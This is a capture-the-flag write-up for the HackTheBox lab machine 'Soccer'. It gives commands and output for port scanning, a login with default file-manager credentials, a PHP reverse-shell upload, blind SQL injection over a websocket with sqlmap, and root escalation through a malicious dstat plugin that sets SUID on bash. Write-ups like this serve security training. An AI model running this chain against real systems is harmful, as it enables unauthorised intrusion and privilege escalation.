TCP Scan
> TARGET=10.129.88.135 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
9091/tcp open xmltec-xmlmail? syn-ack ttl 63
Web Enum
> dirsearch -u http://soccer.htb/ -x 403,401 -w /usr/share/wordlists/dirb/big.txt
[03:07:11] 301 - 178B - /tiny -> http://soccer.htb/tiny/
admin:admin@123
- After logging in, you will see a file manager UI. We are able to upload a reverse shell using this facility.
- Browse to the
/tiny/uploads/
directory and upload a reverse shell /usr/share/webshells/php/php-reverse-shell.php
- Then browse to the uploaded shell path to receive a reverse shell:
http://soccer.htb/tiny/uploads/w.php
- Checking the nginx file
/etc/nginx/sites-available/soc-player.htb
found a service on a subdomain soc-player.soccer.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
Subdomain: soc-player.soccer.htb, sqli
- Browse to
http://soc-player.soccer.htb/signup
and create an account, then login. - After login, you are presented with the page
http://soc-player.soccer.htb/check
. There is a ticket checking mechanism where you can search for a ticket. Inspecting the html source found that this feature connects to a websocket
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
- So, very likely there could be a sqli vulnerability. Search online for
sqli websocket
lead to this post: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html - Basically, we can use the python script in the post as a proxy that forwards sqlmap requests to localhost:8081 (as it’s defined in the python script) to the target host’s websocket port 9091. To make our setup work, we need to change the script with the following settings
ws_server = "ws://soc-player.soccer.htb:9091" # line: 6
...
data = '{"id":"%s"}' % message # line: 15, this format can be found by inspecting the traffic and see the search response
- Save the script as
sqli.py
, to exploit
# terminal 1
> python3 sqli.py
# terminal 2
> sqlmap -u "http://localhost:8081/?id=1" -p "id"
- This process can take a very long time. But eventually, you’ll get the username and password. Login via ssh to get the user flag.
[04:40:38] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
+------+-------------------+----------+----------------------+
| id | email | username | password |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+
PE: root
- Upload linpeas and perform enum, note the followings
[+] Checking doas.conf
permit nopass player as root cmd /usr/bin/dstat
- So from the
doas
configure, it seems that we can run /usr/bin/dstat
as root. This can help us to PE - From reading
https://linux.die.net/man/1/dstat
, dstat can be used to monitor and view system resources. And it supports customised plugins. Therefore, we can create a malicious plugin that executes our code then run dstat with root privielge. See the following example
Files
Paths that may contain external dstat_*.py plugins:
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
- Search to locate
dstat
directory
player@soccer:~$ find / -type d -name dstat 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat
- Create a plugin called
dstat_meow.py
with the following content under /usr/local/share/dstat/
import os
os.system('chmod +s /usr/bin/bash')
- Then run
dstat
with root to trigger the plugin to get root
# check if the plugin can be detected
> dstat --list | grep meow
# run the exploit
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --meow
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
Module dstat_meow failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:/usr/local/share/dstat$ bash -p
bash-5.0# id
uid=1001(player) gid=1001(player) euid=0(root) egid=0(root) groups=0(root),1001(player)
bash-5.0# cat /root/root.txt